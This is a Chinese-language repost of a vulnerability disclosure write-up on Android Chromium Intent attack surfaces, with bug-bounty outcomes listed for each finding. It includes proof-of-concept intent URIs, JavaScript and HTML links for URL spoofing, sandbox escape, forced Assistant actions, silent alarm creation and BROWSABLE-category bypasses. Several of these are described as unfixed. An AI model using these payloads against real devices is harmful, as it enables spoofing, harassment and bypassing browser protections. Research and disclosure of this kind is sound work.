Android Web攻击表面

admin 2025年2月4日02:34:48评论10 views字数 8201阅读27分20秒阅读模式

Android Web攻击表面

下面是一些 Android 特定的 Chromium 行为的说明。

意图

攻击滥用 Android Intent,因为它们需要用户激活(除非执行受信任的 CCT/TWA 导航),但与外部协议不同,不会提示用户(如果有激活)。出于安全考虑,BROWSABLE除非已安装的应用程序代表 Chrome 执行 Intent 重定向,否则仅允许标记为应用程序所有者的 Intent。

  • https://developer.chrome.com/docs/android/intents

  • https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE

  • https://source.chromium.org/chromium/chromium/src/+/main:components/external_intents/README.md

  • https://issues.chromium.org/40051644 https://issues.chromium.org/40054582

通信也可能通过本地服务器完成,Android App Links 其中应用程序使用 HTTP 或 HTTPS 方案并包含属性autoVerify、自定义方案或与用户交互,您可以通过下载打开支持的文件类型与应用程序共享数据,input.showPicker()或者navigator.share()

通过 Firebase 动态链接绕过 Intent:// 限制(已修复,奖励 3000 美元)

Firebase 动态链接可以在 Android 上打开三星、Firefox、Chrome 浏览器,指向攻击者控制的 URL。这可以绕过https://issues.chromium.org/issues/40060327(提示打开其他浏览器)和https://issues.chromium.org/issues/40061025(绕过 iframe 沙盒allow-popups)的补丁

intent://ndevtk.page.link/PZXe#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;S.browser_fallback_url=https://play.google.com/store/apps/details%3Fid%3Dcom.sec.android.app.sbrowser&pcampaignid%3Dfdl_short&url%3Dhttps://terjanq.me/xss.php%3Fheaders;end;

这个问题已由https://issues.chromium.org/issues/40064598修复 ,后来又发现了类似的错误https://issues.chromium.org/40067307

通过 market:// URL 绕过问题 40060327(已修复,奖励 2250 美元)

关于绕过https://issues.chromium.org/40060327的办法,结果market://details?id=com.sec.android.app.sbrowser&url=https%3A%2F%2Fexample.org成功了。

此外,由于尚未完全修补,他们还额外奖励了 2250 美元 Android Web攻击表面

添加到主屏幕欺骗(已修复,奖励 1125 美元)

视频 PoC:https://www.youtube.com/watch?v=FnarD8RX4Ys

intent://www.google.com/hsi?name=Chrome&icon=https://ssl.gstatic.com/shortcuts/android/home/v1/192px/weather_g_badged.png&ve=145829&hv=1&dest=1&source=homescreen_shortcut&query=https://ndev.tk#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end

为了使这次攻击更具说服力,使用了 Google Play 服务,以便受害者在显示提示之前可以看到 URL 栏更改为“google.com”。

提示显示攻击者控制的名称和图标,但未提供来源。

onclick = () => {
  location.href =
    'intent://search.app.goo.gl/?link=https://www.google.com/hsi?name%3DChrome%26icon%3Dhttps://ssl.gstatic.com/shortcuts/android/home/v1/192px/weather_g_badged.png%26ve%3D145828%26hv%3D1%26dest%3D1%26source%3Dhomescreen_shortcut%26query%3Dhttps%3A%2F%2Fndev.tk%23Intent;scheme%3Dhttps;package%3Dcom.google.android.googlequicksearchbox;end&apn=com.google.android.googlequicksearchbox#Intent;package=com.google.android.gms;scheme=https;end;';
  location.href = 'https://www.google.com';
};

iframe 沙盒允许弹出窗口通过意图绕过沙盒逃逸(已询问,未修复)

Frame = document.createElement('iframe');
Frame.sandbox = 'allow-scripts allow-popups';

在沙盒 iframe 中,攻击者可以执行以下操作:

onclick = () => {
  location =
    'intent://www.google.com/gasearch?q=https://example.org#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end';
};

或者如果你不喜欢谷歌应用,

onclick = () => {
  location =
    'intent://example.org#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;end';
};

“allow-popups” 的意思是“allow-top-navigation-to-custom-protocols”,通过开始文件下载等方式滥用它有点太容易了。https ://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox

控制 Google 助理(询问,未修复)

强迫受害者执行他们的某项例行操作。 

intent://assistant.google.com/services/invoke/uid/0000004f0e04d1da?intent=WORKFLOW_TRIGGER&param.workflow_id=routine_0000001#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end

导致设备读取未读短信,如果受害者正在与攻击者通话,则会出现问题。

<a
  href="googleapp://deeplink/?data=CkwBDb3mGzBFAiEA7olPIXB3Rbe6FGGWzwGXQaR8o2qCR3KySUeFI1_UcWgCIFTa67w_AvJK8aAULIDMlRk6c6XPBv6R6ORiznPHRnXOEmMKDgi4-rKPARD_v8rzhKMCEgAaIwohCIECmonx2wQYCAESFFJlYWQgbXkgdW5yZWFkIHRleHRzIioKKGh0dHBzOi8vYXNzaXN0YW50Lmdvb2dsZS5jb20vaW50bC9lbl91ay8"
  >link</a
>

这是来自https://assistant.google.com/intl/en_uk/learn/它在网络平台上公开的其他功能包括“将音量调高 50%”和我最喜欢的“为我的巧克力蛋糕设置 35 分钟计时器”

控制时钟(已接受,未修复)

视频 PoC:https://www.youtube.com/watch?

v=Uj84sILMoYI 通过访问攻击者控制的链接(例如来自消息或电子邮件的链接),他们可以在用户的设备上以自定义文本在任何重复时间静默创建多个闹钟。此功能可被滥用,用于在绕过请勿打扰的同时向受害者发送恶意软件、激进广告或有针对性的骚扰。由于这是一款原生应用,它可能更受信任,因此在有限的情况下有助于社会工程学。为了阻止这种情况,受害者需要进入设置并清除应用数据(这并不明显)或删除 google 时钟应用(如果 OEM 允许),当然用户可以自己删除每个闹钟,但当应用崩溃时,这可能很难或不可能。

有关此类攻击的常见问题解答https://support.google.com/webtools/answer/9799829 https://blog.chromium.org/2020/10/reducing-abusive-notification-content.html “滥用通知提示是我们收到的有关 Chrome 的最主要用户投诉之一”

clock-app://com.google.android.deskclock/alarm/create?dayOfWeek=Monday&hour=1&minute=1&message=duck&vibrate=true&enabled=true 
clock-app://com.google.android.deskclock/stopwatch/start 
clock-app://com.google.android.deskclock/stopwatch/rest

Chromium 团队:“我们的反滥用人员认为:

我们应该要求 Android 修复此问题(通过不允许入站 clock-app: URI,或者至少将时钟置于最前面)如果 Android 不修复或无法修复此问题,也许我们需要采取一种变通方法来阻止 Chrome 将这些出站 URI 导航发送到 clock-app: Ade 和我离线讨论过,我确实认为向 Android 标记此问题很重要。标记这是一个闹钟,而不是通知也很重要——这很重要,因为闹钟会绕过“请勿打扰”,并且用户不会将他们的时钟应用视为第三方可以访问的东西。

您的概念验证中的示例本质上是垃圾邮件/社交工程,但这可能被用于有针对性的骚扰:故意在半夜用包含威胁信息的警报叫醒人们。如果有人收到这样的消息,他们可能会认为攻击者已经物理或远程访问了他们的手机,这比仅仅收到烦人的通知更令人不安。”

该/multi端点允许每个呼叫添加多个警报。

/multi?action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack2%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack3%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack4%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack5%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue

url参数ringtone允许您设置要播放的自定义音频。

意图欺骗 URL(已修复,奖励 3133.70 美元)

网站被置于全屏 webview 中,没有警告提示,允许控制 URL 栏。因此存在死亡线问题。这还会通过暴露仅限 webview 的行为(如https://alesandroortiz.com/articles/uxss-android-webview-cve-2020-6506/和内部应用功能)来增加攻击面。

<a href="faceviewer://arvr.google.com/faceviewer?arbi=1&wturl=https://sites.google.com/view/ndevtkembed/home">tap</a>
intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&card_content=https%3A%2F%2Fstorage.googleapis.com%2Fndevtk%2Fndevtk-spoof9.html&mode=3d_only#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end;
  • intentSpoof

  • duckSpoof

可以说吐司并不是那么有效,https://jameshfisher.com/2019/04/27/the-inception-bar-a-new-phishing-method/可能也有效,但这是人们决定的,哈哈。这个问题已在https://issues.chromium.org/issues/329890199中得到修复

BROWSABLE intent:// 绕过(已修复,重复)

网站能够发送未标记为android.intent.category.BROWSABLE https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE的意图

这是一种称为https://developer.android.com/privacy-and-security/risks/intent-redirection的攻击,建议仅使用 opt-in CATEGORY 启动不受信任的意图,chromium 通常会这样做,但这个应用程序通过点击按钮绕过了保护。

由于标题支持基本 HTML,因此可以清楚地显示应点击该按钮。

这也可以作为https://issues.chromium.org/40060327的绕过方法,如https://youtube.com/shorts/uQ6cAHarZd8中所示,与开放重定向无关,问题在于不同的浏览器可能已经过时,并且包含不存在或已在 chrome 中修补的安全问题。

onclick = () => {
  const target = 'intent://<some non-browsable intent>';
  const title = '<h1>Click the button to continue...</h1><p1> :)</p1>';

  location.href =
    'intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&title=' +
    encodeURIComponent(title) +
    '&link=' +
    encodeURIComponent(target) +
    '#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end';
};

可浏览的意图://绕过(已修复,奖励 4500.00 美元)

假设顶级gstatic.com页面上存在 XSS,faceViewerWebXBridge.postMessage(JSON.stringify({cmd: btoa(':x0Fnrtestintent://')}))则可以通过面部查看器进行绕过。

这也会绕过https://issues.chromium.org/40060327中的补丁,因为此意图 URI 会导致链接在三星浏览器 (com.sec.android.app.sbrowser) 应用程序中打开。这种情况发生时没有通知用户或征得用户的同意。

  • 安装三星浏览器

  • 将以下 html 放在 Android 设备上<a href="faceviewer://arvr.google.com/faceviewer?arbi=1&wturl=https%3A%2F%2Fwww.gstatic.com%2Fvr%2Fads%2Fplayground%2Fmetrics.html%23assetUrl%3Djavascript%3A%2520top.faceViewerWebXBridge.postMessage%28%27%7B%2522cmd%2522%3A%2522OjAKLnNhbXN1bmdpbnRlcm5ldDovL29wZW4%2FdXJsPWh0dHBzOi8vZXhhbXBsZS5vcmc%3D%2522%7D%27%29%3B">tap</a>

  • 点击该链接

  • 请注意,它通过 Chrome 打开了三星浏览器,指向攻击者选择的 URL,而无需用户先绕过https://issues.chromium.org/40060327的保护措施

原文始发于微信公众号(Ots安全):Android Web攻击表面

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月4日02:34:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Android Web攻击表面https://cn-sec.com/archives/3696159.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息